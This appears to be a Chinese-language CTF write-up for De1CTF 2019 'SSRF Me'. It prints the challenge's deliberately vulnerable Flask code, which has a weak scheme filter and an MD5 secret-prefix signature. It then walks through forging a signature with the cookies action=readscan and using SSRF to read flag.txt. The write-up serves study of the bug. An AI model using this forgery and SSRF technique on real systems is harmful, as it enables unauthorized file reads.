[De1CTF 2019]SSRF Me

SSRF(Server-Side Request Forgery，服务器端请求伪造) 是一种由攻击者构造请求，由服务端发起请求的一个安全漏洞。一般情况下，SSRF 攻击的目标是从外网无法访问的内部系统，因为服务器请求天然的可以穿越防火墙。漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作正确的过滤和限制。

题目是代码是一堆，还好提供了源码:

#! /usr/bin/env python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
 
app = Flask(__name__)
 
secert_key = os.urandom(16)
 
class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):
            os.mkdir(self.sandbox)
 
    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result
 
    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False
 
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
 
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
 
@app.route('/')
def index():
    return open("code.txt","r").read()
 
def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"
 
def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()
 
def md5(content):
    return hashlib.md5(content).hexdigest()
 
def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False
if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=9999)

还有提示：flag is in ./flag.txt

代码分析可知道

flask框架找路由，这里有三个路由，

1. @app.route("/geneSign", methods=['GET', 'POST'])

2. @app.route('/De1ta',methods=['GET','POST'])

3. @app.route('/')

     def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

通过以上代码知道：

1、action=scan，param=flag.txt ，将flag.txt的内容读到result.txt中
2、action=read，将result.txt的内容读出（如果我们想要将result.txt的内容读出来则需要伪造一个action为read的签名。）

当访问/geneSign?param=flag.txt的时候，返回md5(‘secert_key’ + ‘flag.txt’ + ‘scan’)，即为md5(secert_keyflag.txtscan)

构造/geneSign?param=flag.txtread，拿到md5(‘secert_keyflag.txtreadscan’)的值：

f21dc896d056a7e414ec06827f33ff79

构造并访问/De1ta?param=flag.txt
bp抓包。添加cookie:sign=f21dc896d056a7e414ec06827f33ff79，action=readscan

得到flag。

HTTP/1.1 200 OK
Server: openresty
Date: Mon, 04 Sep 2023 10:07:15 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 69
Connection: close

{"code": 200, "data": "flag{33cc750d-f186-4a0f-afc3-6344d43d2101}\n"}